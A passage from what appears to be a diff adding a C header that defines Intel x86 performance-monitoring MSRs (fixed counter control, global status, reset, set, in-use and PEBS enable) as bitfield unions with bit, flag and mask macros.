IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_FLAG 0x1000 +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_MASK 0x01 +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Full width of counter writable via IA32_A_PMCx. + */ + uint64_t full_width_counter_write : 1; +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_BIT 13 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_FLAG 0x2000 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_MASK 0x01 +#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE(_) (((_) >> 13) & 0x01) + uint64_t reserved1 : 50; + }; + + uint64_t flags; +} ia32_perf_capabilities_register; + + +/** + * @brief Fixed-Function Performance Counter Control (R/W) + * + * Fixed-Function Performance Counter Control. Counter increments while the results of ANDing respective enable bit in + * IA32_PERF_GLOBAL_CTRL with the corresponding OS or USR bits in this MSR is true. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ +#define IA32_FIXED_CTR_CTRL 0x0000038D +typedef union +{ + struct + { + /** + * [Bit 0] EN0_OS: Enable Fixed Counter 0 to count while CPL = 0. + */ + uint64_t en0_os : 1; +#define IA32_FIXED_CTR_CTRL_EN0_OS_BIT 0 +#define IA32_FIXED_CTR_CTRL_EN0_OS_FLAG 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_OS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] EN0_Usr: Enable Fixed Counter 0 to count while CPL > 0. + */ + uint64_t en0_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN0_USR_BIT 1 +#define IA32_FIXED_CTR_CTRL_EN0_USR_FLAG 0x02 +#define IA32_FIXED_CTR_CTRL_EN0_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_USR(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + */ + uint64_t any_thread0 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_BIT 2 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_FLAG 0x04 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD0(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] EN0_PMI: Enable PMI when fixed counter 0 overflows. + */ + uint64_t en0_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN0_PMI_BIT 3 +#define IA32_FIXED_CTR_CTRL_EN0_PMI_FLAG 0x08 +#define IA32_FIXED_CTR_CTRL_EN0_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN0_PMI(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] EN1_OS: Enable Fixed Counter 1 to count while CPL = 0. + */ + uint64_t en1_os : 1; +#define IA32_FIXED_CTR_CTRL_EN1_OS_BIT 4 +#define IA32_FIXED_CTR_CTRL_EN1_OS_FLAG 0x10 +#define IA32_FIXED_CTR_CTRL_EN1_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_OS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] EN1_Usr: Enable Fixed Counter 1 to count while CPL > 0. + */ + uint64_t en1_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN1_USR_BIT 5 +#define IA32_FIXED_CTR_CTRL_EN1_USR_FLAG 0x20 +#define IA32_FIXED_CTR_CTRL_EN1_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_USR(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t any_thread1 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_BIT 6 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_FLAG 0x40 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD1(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] EN1_PMI: Enable PMI when fixed counter 1 overflows. + */ + uint64_t en1_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN1_PMI_BIT 7 +#define IA32_FIXED_CTR_CTRL_EN1_PMI_FLAG 0x80 +#define IA32_FIXED_CTR_CTRL_EN1_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN1_PMI(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] EN2_OS: Enable Fixed Counter 2 to count while CPL = 0. + */ + uint64_t en2_os : 1; +#define IA32_FIXED_CTR_CTRL_EN2_OS_BIT 8 +#define IA32_FIXED_CTR_CTRL_EN2_OS_FLAG 0x100 +#define IA32_FIXED_CTR_CTRL_EN2_OS_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_OS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] EN2_Usr: Enable Fixed Counter 2 to count while CPL > 0. + */ + uint64_t en2_usr : 1; +#define IA32_FIXED_CTR_CTRL_EN2_USR_BIT 9 +#define IA32_FIXED_CTR_CTRL_EN2_USR_FLAG 0x200 +#define IA32_FIXED_CTR_CTRL_EN2_USR_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_USR(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical + * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions + * occurring in the logical processor which programmed the MSR. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t any_thread2 : 1; +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_BIT 10 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_FLAG 0x400 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_ANY_THREAD2(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] EN2_PMI: Enable PMI when fixed counter 2 overflows. + */ + uint64_t en2_pmi : 1; +#define IA32_FIXED_CTR_CTRL_EN2_PMI_BIT 11 +#define IA32_FIXED_CTR_CTRL_EN2_PMI_FLAG 0x800 +#define IA32_FIXED_CTR_CTRL_EN2_PMI_MASK 0x01 +#define IA32_FIXED_CTR_CTRL_EN2_PMI(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 52; + }; + + uint64_t flags; +} ia32_fixed_ctr_ctrl_register; + + +/** + * Global Performance Counter Status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ +#define IA32_PERF_GLOBAL_STATUS 0x0000038E +typedef union +{ + struct + { + /** + * [Bit 0] Ovf_PMC0: Overflow status of IA32_PMC0. + * + * @remarks If CPUID.0AH: EAX[15:8] > 0 + */ + uint64_t ovf_pmc0 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_FLAG 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Ovf_PMC1: Overflow status of IA32_PMC1. + * + * @remarks If CPUID.0AH: EAX[15:8] > 1 + */ + uint64_t ovf_pmc1 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_BIT 1 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_FLAG 0x02 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Ovf_PMC2: Overflow status of IA32_PMC2. + * + * @remarks If CPUID.0AH: EAX[15:8] > 2 + */ + uint64_t ovf_pmc2 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_BIT 2 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_FLAG 0x04 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Ovf_PMC3: Overflow status of IA32_PMC3. + * + * @remarks If CPUID.0AH: EAX[15:8] > 3 + */ + uint64_t ovf_pmc3 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_BIT 3 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_FLAG 0x08 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3(_) (((_) >> 3) & 0x01) + uint64_t reserved1 : 28; + + /** + * [Bit 32] Ovf_FixedCtr0: Overflow status of IA32_FIXED_CTR0. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr0 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_FLAG 0x100000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0(_) (((_) >> 32) & 0x01) + + /** + * [Bit 33] Ovf_FixedCtr1: Overflow status of IA32_FIXED_CTR1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr1 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_BIT 33 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_FLAG 0x200000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1(_) (((_) >> 33) & 0x01) + + /** + * [Bit 34] Ovf_FixedCtr2: Overflow status of IA32_FIXED_CTR2. + * + * @remarks If CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t ovf_fixedctr2 : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_BIT 34 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_FLAG 0x400000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2(_) (((_) >> 34) & 0x01) + uint64_t reserved2 : 20; + + /** + * [Bit 55] Trace_ToPA_PMI: A PMI occurred due to a ToPA entry memory buffer that was completely filled. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 + */ + uint64_t trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved3 : 2; + + /** + * [Bit 58] LBR_Frz. LBRs are frozen due to: + * * IA32_DEBUGCTL.FREEZE_LBR_ON_PMI=1. + * * The LBR stack overflowed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] CTR_Frz. Performance counters in the core PMU are frozen due to: + * * IA32_DEBUGCTL.FREEZE_PERFMON_ON_PMI=1. + * * One or more core PMU counters overflowed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] ASCI: Data in the performance counters in the core PMU may include contributions from the direct or indirect + * operation Intel SGX to protect an enclave. + * + * @remarks If CPUID.(EAX=07H, ECX=0):EBX[2] = 1 + */ + uint64_t asci : 1; +#define IA32_PERF_GLOBAL_STATUS_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Uncore counter overflow status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] OvfBuf: DS SAVE area Buffer overflow status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF(_) (((_) >> 62) & 0x01) + + /** + * [Bit 63] CondChgd: Status bits of this register have changed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t cond_chgd : 1; +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_BIT 63 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_status_register; + + +/** + * @brief Global Performance Counter Control (R/W) + * + * Global Performance Counter Control. Counter increments while the result of ANDing the respective enable bit in this MSR + * with the corresponding OS or USR bits in the general-purpose or fixed counter control MSR is true. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ +#define IA32_PERF_GLOBAL_CTRL 0x0000038F +typedef struct +{ + /** + * EN_PMC(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint32_t en_pmcn; + + /** + * EN_FIXED_CTR(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint32_t en_fixed_ctrn; +} ia32_perf_global_ctrl_register; + + +/** + * Global Performance Counter Overflow Reset Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_STATUS_RESET 0x00000390 +typedef union +{ + struct + { + /** + * [Bits 31:0] Set 1 to clear Ovf_PMC(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t clear_ovf_pmcn : 32; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] Set 1 to clear Ovf_FIXED_CTR(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are + * reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint64_t clear_ovf_fixed_ctrn : 3; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_MASK 0x07 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 20; + + /** + * [Bit 55] Set 1 to clear Trace_ToPA_PMI bit. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 + */ + uint64_t clear_trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 2; + + /** + * [Bit 58] Set 1 to clear LBR_Frz bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] Set 1 to clear CTR_Frz bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] Set 1 to clear ASCI bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_asci : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Set 1 to clear Ovf_Uncore bit. + * + * @remarks 06_2EH + */ + uint64_t clear_ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] Set 1 to clear OvfBuf bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t clear_ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF(_) (((_) >> 62) & 0x01) + + /** + * [Bit 63] Set 1 to clear CondChgd bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t clear_cond_chgd : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_BIT 63 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_status_reset_register; + + +/** + * Global Performance Counter Overflow Set Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_STATUS_SET 0x00000391 +typedef union +{ + struct + { + /** + * [Bits 31:0] Set 1 to cause Ovf_PMC(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t ovf_pmcn : 32; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] Set 1 to cause Ovf_FIXED_CTR(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are + * reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint64_t ovf_fixed_ctrn : 3; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_MASK 0x07 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 20; + + /** + * [Bit 55] Set 1 to cause Trace_ToPA_PMI = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 2; + + /** + * [Bit 58] Set 1 to cause LBR_Frz = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] Set 1 to cause CTR_Frz = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] Set 1 to cause ASCI = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t asci : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Set 1 to cause Ovf_Uncore = 1. + * + * @remarks 06_2EH + */ + uint64_t ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] Set 1 to cause OvfBuf = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF(_) (((_) >> 62) & 0x01) + uint64_t reserved3 : 1; + }; + + uint64_t flags; +} ia32_perf_global_status_set_register; + + +/** + * Indicator that core perfmon interface is in use. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_INUSE 0x00000392 +typedef union +{ + struct + { + /** + * [Bits 31:0] IA32_PERFEVTSEL(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t ia32_perfevtseln_in_use : 32; +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_BIT 0 +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] IA32_FIXED_CTR(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + */ + uint64_t ia32_fixed_ctrn_in_use : 3; +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_BIT 32 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_MASK 0x07 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 28; + + /** + * [Bit 63] PMI in use. + */ + uint64_t pmi_in_use : 1; +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_BIT 63 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_MASK 0x01 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_inuse_register; + + +/** + * PEBS Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PEBS_ENABLE 0x000003F1 +typedef union +{ + struct + { + /** + * [Bit 0] Enable PEBS on IA32_PMC0. + * + * @remarks 06_0FH + */ + uint64_t enable_pebs : 1; +#define IA32_PEBS_ENABLE_ENABLE_PEBS_BIT 0 +#define IA32_PEBS_ENABLE_ENABLE_PEBS_FLAG 0x01 +#define IA32_PEBS_ENABLE_ENABLE_PEBS_MASK 0x01 +#define IA32_PEBS_ENABLE_ENABLE_PEBS(_) (((_) >> 0) & 0x01) + + /** + * [Bits 3:1] Reserved or model specific. + */ + uint64_t reservedormodelspecific1 : 3; +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_BIT 1 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_FLAG 0x0E +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_MASK 0x07 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1(_) (((_) >> 1) & 0x07) + uint64_t reserved1 : 28; + + /** + * [Bits 35:32] Reserved or model specific. + */ + uint64_t reservedormodelspecific2 : 4; +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_BIT 32 +#define 